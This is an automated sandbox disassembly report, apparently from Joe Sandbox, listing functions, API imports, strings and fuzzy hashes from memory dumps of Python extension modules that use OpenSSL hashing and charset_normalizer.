_RTC_Initialize.LIBCMT ref: 00007FF810C71178
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF810C7119E
__scrt_release_startup_lock.LIBCMT ref: 00007FF810C711C9

Memory Dump Source

Source File: 0000001D.00000002.2001656157.00007FF810C71000.00000020.00000001.01000000.0000005C.sdmp, Offset: 00007FF810C70000, based on PE: true

Associated: 0000001D.00000002.2001594326.00007FF810C70000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001720279.00007FF810C72000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001784985.00007FF810C74000.00000002.00000001.01000000.0000005C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c70000_check.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: f275efc661d71867f9a7f9253353fc5f9a9a0971caff28d2886a051d192a5112
Instruction ID: 46a6bd62c0f86068456f13733519dc33b8e119567467dcd158f40fbaf5c06d6f
Opcode Fuzzy Hash: f275efc661d71867f9a7f9253353fc5f9a9a0971caff28d2886a051d192a5112
Instruction Fuzzy Hash: 03817E21E08E4746F754AB6A9C422B962D2BFC57E0F448335EE4DC7797DE2CE8468E00

Function 00007FF810C93A80 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF810C93AA8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF810C93AFA
_RTC_Initialize.LIBCMT ref: 00007FF810C93B28
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF810C93B4E
__scrt_release_startup_lock.LIBCMT ref: 00007FF810C93B79

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction ID: 845eb96bce5190ab003f8fa24f5b4dba3cbc5aea8e0eb27600a572a3797d6e0b
Opcode Fuzzy Hash: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction Fuzzy Hash: F5819BE1E1CE43C6FB60ABE59C512B966A0AF85BE4F449335DA4D47792DF2CE8058F00

Function 00007FF810C814E0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF810C81508
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF810C8155A
_RTC_Initialize.LIBCMT ref: 00007FF810C81588
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF810C815AE
__scrt_release_startup_lock.LIBCMT ref: 00007FF810C815D9

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7f564e5c96d03b6cc6be1e0c8b15a2a1bb0e807c61c236ae55469e5bbb32447b
Instruction ID: 08f525b656aebb8d218563baa9f7332def784bd7046ba39649e468328f7ffa7c
Opcode Fuzzy Hash: 7f564e5c96d03b6cc6be1e0c8b15a2a1bb0e807c61c236ae55469e5bbb32447b
Instruction Fuzzy Hash: 08817D20E18E4386F7549B669C402B962D8AFC5BF0F44833BDD4D437A6DE3CE845AE08

Function 00007FF810C540A0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF810C540C8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF810C5411A
_RTC_Initialize.LIBCMT ref: 00007FF810C54148
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF810C5416E
__scrt_release_startup_lock.LIBCMT ref: 00007FF810C54199

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 01674e1b7c932fcac2c1eb2ed6a3b83db3a5eee512b02ea8e2619b432a8a2a1a
Instruction ID: 025c423957f20fea97b73314739d356c7849e098bd25f03626bd912ca835197f
Opcode Fuzzy Hash: 01674e1b7c932fcac2c1eb2ed6a3b83db3a5eee512b02ea8e2619b432a8a2a1a
Instruction Fuzzy Hash: 3781A229F0CE0345F7549B659C412B9A690AFB57E8F548335EACF877A2EE2CE4458F00

Function 00007FF810C92870 Relevance: 15.1, APIs: 10, Instructions: 85COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C92894
EVP_MD_CTX_copy.LIBCRYPTO-3 ref: 00007FF810C928BF
EVP_MD_CTX_get0_md.LIBCRYPTO-3 ref: 00007FF810C928E6
EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FF810C928EF
EVP_DigestFinal.LIBCRYPTO-3 ref: 00007FF810C92902
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C92917
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C92923
PyErr_NoMemory.PYTHON313 ref: 00007FF810C94F7C
PyMutex_Lock.PYTHON313 ref: 00007FF810C94F8B
PyMutex_Unlock.PYTHON313 ref: 00007FF810C94F97

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Mutex_$Bytes_D_get_sizeDigestErr_FinalFromLockMemorySizeStringUnlockX_copyX_freeX_get0_mdX_new
String ID:
API String ID: 4168299438-0
Opcode ID: 1502594597476eeb443c9c9a2186de1b24449c0dd1f369554380e6a155ef03aa
Instruction ID: bf1b3f30829423f5b2d187dcb5200218a8347a5bfe7256cfbdf2646c819778fc
Opcode Fuzzy Hash: 1502594597476eeb443c9c9a2186de1b24449c0dd1f369554380e6a155ef03aa
Instruction Fuzzy Hash: 123190A2E0CE42C1EB609BA5AC1427A63A1FF8DBE0F554235DA8E43795DF3CE445CB40

Function 00007FF810C92610 Relevance: 15.1, APIs: 10, Instructions: 74COMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C92627
EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C9263A
EVP_DigestFinalXOF.LIBCRYPTO-3 ref: 00007FF810C92669
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C9267A
_Py_Dealloc.PYTHON313 ref: 00007FF810C94EC4
PyErr_NoMemory.PYTHON313 ref: 00007FF810C94ECA

Part of subcall function 00007FF810C926A0: EVP_MD_CTX_copy.LIBCRYPTO-3(?,?,00000000,00007FF810C9248C), ref: 00007FF810C926C2

_Py_Dealloc.PYTHON313 ref: 00007FF810C94EE5
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C94EEE
_Py_Dealloc.PYTHON313 ref: 00007FF810C94F19
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C94F22

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: DeallocX_free$Bytes_DigestErr_FinalFromMemorySizeStringX_copyX_new
String ID:
API String ID: 3259613670-0
Opcode ID: 8a7c76b72d94fb0aeb7ccf6808e6d7663f5ffecb87d26bf77d0b6ffd2a339e4e
Instruction ID: 14c44ad28d2bb527219470127e01ae9cffc34e561b83628312ae11c2a4a9a7fa
Opcode Fuzzy Hash: 8a7c76b72d94fb0aeb7ccf6808e6d7663f5ffecb87d26bf77d0b6ffd2a339e4e
Instruction Fuzzy Hash: 3431F9B5A0DE03C5EB649BA2AD5413963A1BF8DBF1F084235DA4E46BA1DF3CE055CB00

Function 00007FF810C4A7F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON313(?,?,?,?,?,00007FF810C45B3E), ref: 00007FF810C4A886

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Part of subcall function 00007FF810C43900: PyThreadState_Get.PYTHON313 ref: 00007FF810C43922
Part of subcall function 00007FF810C43900: PyErr_Fetch.PYTHON313 ref: 00007FF810C4393A
Part of subcall function 00007FF810C43900: PyCode_NewEmpty.PYTHON313 ref: 00007FF810C4394D
Part of subcall function 00007FF810C43900: PyFrame_New.PYTHON313 ref: 00007FF810C43967
Part of subcall function 00007FF810C43900: _Py_Dealloc.PYTHON313 ref: 00007FF810C43982
Part of subcall function 00007FF810C43900: _PyErr_ChainExceptions1.PYTHON313 ref: 00007FF810C4398D

PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C45B3E), ref: 00007FF810C4A8DB
PyObject_RichCompareBool.PYTHON313(?,?,?,?,?,00007FF810C45B3E), ref: 00007FF810C4A8F2
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C45B3E), ref: 00007FF810C4A908
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C45B3E), ref: 00007FF810C4A91C

Strings

charset_normalizer.md.UnprintablePlugin, xrefs: 00007FF810C4A9C8
ratio, xrefs: 00007FF810C4A89C
__init__, xrefs: 00007FF810C4A969, 00007FF810C4A9DB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_$Dealloc$BoolChainCode_CompareEmptyExceptions1FetchFormatFrame_FromLong_Object_OccurredRichSsize_tState_Thread
String ID: __init__$charset_normalizer.md.UnprintablePlugin$ratio
API String ID: 1679049372-1538754472
Opcode ID: 62d45899000dfe3b9e6b2f99bf95e35c03747f615fba42bed1213fdc3568b84b
Instruction ID: ae7a631cc6bd0f1f6499149a397cba20a0e5cb04aa4ee6adf9e89af7c1733e39
Opcode Fuzzy Hash: 62d45899000dfe3b9e6b2f99bf95e35c03747f615fba42bed1213fdc3568b84b
Instruction Fuzzy Hash: F6519126E18E0685EB559B29AC111B963A1BF64BF0F494331DD9D8B3E1EE3CE4818F40

Function 00007FF810C528C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PyFloat_AsDouble.PYTHON313 ref: 00007FF810C5294F
PyErr_Occurred.PYTHON313 ref: 00007FF810C52964
PyErr_Occurred.PYTHON313 ref: 00007FF810C529D0
PyFloat_FromDouble.PYTHON313 ref: 00007FF810C529DE

Strings

str, xrefs: 00007FF810C529FA
bool, xrefs: 00007FF810C5299F
float, xrefs: 00007FF810C52974
mess_ratio, xrefs: 00007FF810C52A0D

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DoubleErr_Float_Occurred$From
String ID: bool$float$mess_ratio$str
API String ID: 627764739-3758540285
Opcode ID: bff9402e1c89c4e4f822baa14db5266aa0ef2861b4901d10182d2a5f2dd6afc1
Instruction ID: f0df11af85f9590c0ebf769898751e869acdf4a7bb1ba71830b23432fb5713f6
Opcode Fuzzy Hash: bff9402e1c89c4e4f822baa14db5266aa0ef2861b4901d10182d2a5f2dd6afc1
Instruction Fuzzy Hash: 9F416129B08E4681EB118B25E8501BAA3A1FFB57E4F544331EACF577A4DF2CE4849F00

Function 00007FF810C91B50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B6A
_Py_hashtable_get.PYTHON313(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B7A
EVP_MD_up_ref.LIBCRYPTO-3(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B9D
EVP_MD_fetch.LIBCRYPTO-3(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91BC4
EVP_MD_fetch.LIBCRYPTO-3(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91BE9

Strings

-fips, xrefs: 00007FF810C94B62, 00007FF810C94B95
unsupported hash type %s, xrefs: 00007FF810C91BFB

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_fetch$D_up_refModule_Py_hashtable_getState
String ID: -fips$unsupported hash type %s
API String ID: 1568902971-2522765902
Opcode ID: 091ad32529631833f38748f3eb12729357601f0f9eea4640d6531ccc550d32f1
Instruction ID: 939f773d658b468011660e031416def4a135916766d89473a7bcd43f20dfbb46
Opcode Fuzzy Hash: 091ad32529631833f38748f3eb12729357601f0f9eea4640d6531ccc550d32f1
Instruction Fuzzy Hash: C83143E1A0DF43C2EF644BA59C9117962A1EF8CBF4F18073ADE4E07794EE2DE4518A00

Function 00007FF810C53D4D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C53D54
PyDict_SetItem.PYTHON313 ref: 00007FF810C53D78
_Py_Dealloc.PYTHON313 ref: 00007FF810C53D96
PyObject_Vectorcall.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53E06
_Py_Dealloc.PYTHON313 ref: 00007FF810C53E1D
PyObject_Vectorcall.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53E44
_Py_Dealloc.PYTHON313 ref: 00007FF810C53E5B

Strings

<module>, xrefs: 00007FF810C53E6D

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Dict_Item
String ID: <module>
API String ID: 1355803777-217463007
Opcode ID: 37567a34d72614797214308c85a4baf230321f5b5144a58093090d0745c84322
Instruction ID: b435e23adc7b93348038bcd8f009c4076d61713a5c2f4bc839b13a4dbfbcec79
Opcode Fuzzy Hash: 37567a34d72614797214308c85a4baf230321f5b5144a58093090d0745c84322
Instruction Fuzzy Hash: 9831E629F1AE4281FB559F15AD9427963A0AF75BF0F048631C98F46BA1EF6DE4818F00

Function 00007FF810C959E4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71threadCOMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C95A44

Part of subcall function 00007FF810C95E58: PyErr_Occurred.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95E95
Part of subcall function 00007FF810C95E58: PyModule_GetState.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95EA3
Part of subcall function 00007FF810C95E58: PyErr_Format.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95EB7

PyEval_SaveThread.PYTHON313 ref: 00007FF810C95A84
HMAC.LIBCRYPTO-3 ref: 00007FF810C95AB7
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C95AC3
EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C95ACC
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C95AFD

Part of subcall function 00007FF810C91C10: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FF810C91C28
Part of subcall function 00007FF810C91C10: PyErr_FormatV.PYTHON313 ref: 00007FF810C91C4A

Strings

msg is too long., xrefs: 00007FF810C95A5B
key is too long., xrefs: 00007FF810C95A33

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_$Eval_FormatStringThread$Bytes_D_freeFromModule_OccurredR_peek_last_errorRestoreSaveSizeState
String ID: key is too long.$msg is too long.
API String ID: 915225383-4266787399
Opcode ID: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction ID: 044b62a399d540b895272489d8c17343557807ccf81c873b2ec1642657adc615
Opcode Fuzzy Hash: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction Fuzzy Hash: EF3106A2A08E86C2EB108B51A85437A7360FF99BE4F544335DA8D46BA8DF7CE1558B00

Function 00007FF810C442E0 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

PyUnicode_FromStringAndSize.PYTHON313 ref: 00007FF810C443E9
PyUnicode_InternInPlace.PYTHON313 ref: 00007FF810C44402
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C444B9
PyLong_FromString.PYTHON313 ref: 00007FF810C4454E
PyFloat_FromDouble.PYTHON313 ref: 00007FF810C445D7
PyComplex_FromDoubles.PYTHON313 ref: 00007FF810C44640
PyTuple_New.PYTHON313 ref: 00007FF810C4467F
PyFrozenSet_New.PYTHON313 ref: 00007FF810C446EB
PySet_Add.PYTHON313 ref: 00007FF810C44717

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: From$String$Set_SizeUnicode_$Bytes_Complex_DoubleDoublesFloat_FrozenInternLong_PlaceTuple_
String ID:
API String ID: 1377717875-0
Opcode ID: 5c7c0f823078419cf2d6fbadd9b66e1fca9a27af220b13d1d299e0ca1486750c
Instruction ID: 4ef4708e15938a73e852691114e689882e9313814b1376332bb7bfde4a2f0ccf
Opcode Fuzzy Hash: 5c7c0f823078419cf2d6fbadd9b66e1fca9a27af220b13d1d299e0ca1486750c
Instruction Fuzzy Hash: 0FC1D261B09E4686EB014F14AC50279BBA1FF16BE4F598335DA9E9B394DF3CE056CB00

Function 00007FF810C432A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON313 ref: 00007FF810C43392
PyErr_SetString.PYTHON313 ref: 00007FF810C433DB
PyErr_Format.PYTHON313 ref: 00007FF810C4340A
memcpy.VCRUNTIME140 ref: 00007FF810C4348F
PyUnicode_CopyCharacters.PYTHON313 ref: 00007FF810C434EF

Strings

sequence item %zd: expected str instance, %.80s found, xrefs: 00007FF810C433F9
join() result is too long for a Python string, xrefs: 00007FF810C433D1

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_Unicode_$CharactersCopyFormatStringmemcpy
String ID: join() result is too long for a Python string$sequence item %zd: expected str instance, %.80s found
API String ID: 230949306-1579438684
Opcode ID: bb6ea5830aae4dfb01c6eaf0e2be826c2582c762b6562b9f4cdd2927b769cdc9
Instruction ID: 10dc090e8568f365594938adccc9eb02070e3109ea586e80318a9ace83e93f44
Opcode Fuzzy Hash: bb6ea5830aae4dfb01c6eaf0e2be826c2582c762b6562b9f4cdd2927b769cdc9
Instruction Fuzzy Hash: C661B4A2B09A5682EB518B09DC447B96690FF94BF4F459732CD6ECB7D0DE3CE8468700

Function 00007FF810C4C4E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C46C0E), ref: 00007FF810C4C546
PyObject_RichCompareBool.PYTHON313(?,?,?,?,?,00007FF810C46C0E), ref: 00007FF810C4C58D
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C46C0E), ref: 00007FF810C4C5A3
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C46C0E), ref: 00007FF810C4C5B7
PyErr_Occurred.PYTHON313(?,?,?,?,?,00007FF810C46C0E), ref: 00007FF810C4C62A

Strings

ratio, xrefs: 00007FF810C4C63C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: ratio
API String ID: 2538524772-4234197119
Opcode ID: 7503052746ed6b3628b045c2435abe9c55f19c1fa378bfb4e1df64cee4969737
Instruction ID: fdb9097a488d063b19baefc58725d6d995f2d3e9b80f393e25099ba0e21d64c9
Opcode Fuzzy Hash: 7503052746ed6b3628b045c2435abe9c55f19c1fa378bfb4e1df64cee4969737
Instruction Fuzzy Hash: 9351A231A08E0681EB949B199C902B933E1BF55BF4F584330DE4D8B7A5DF3DE4529B40

Function 00007FF810C4AFB0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4AFD9
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B025
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4B06F
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B086
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B0CB

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Strings

bool, xrefs: 00007FF810C4AFFB, 00007FF810C4B0A1
eligible, xrefs: 00007FF810C4B0DE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Err_FormatMethod
String ID: bool$eligible
API String ID: 131476257-3320767611
Opcode ID: cef5f35ac38de6f06fe561f7fb930431100d9267ba80af263453378f98b747e9
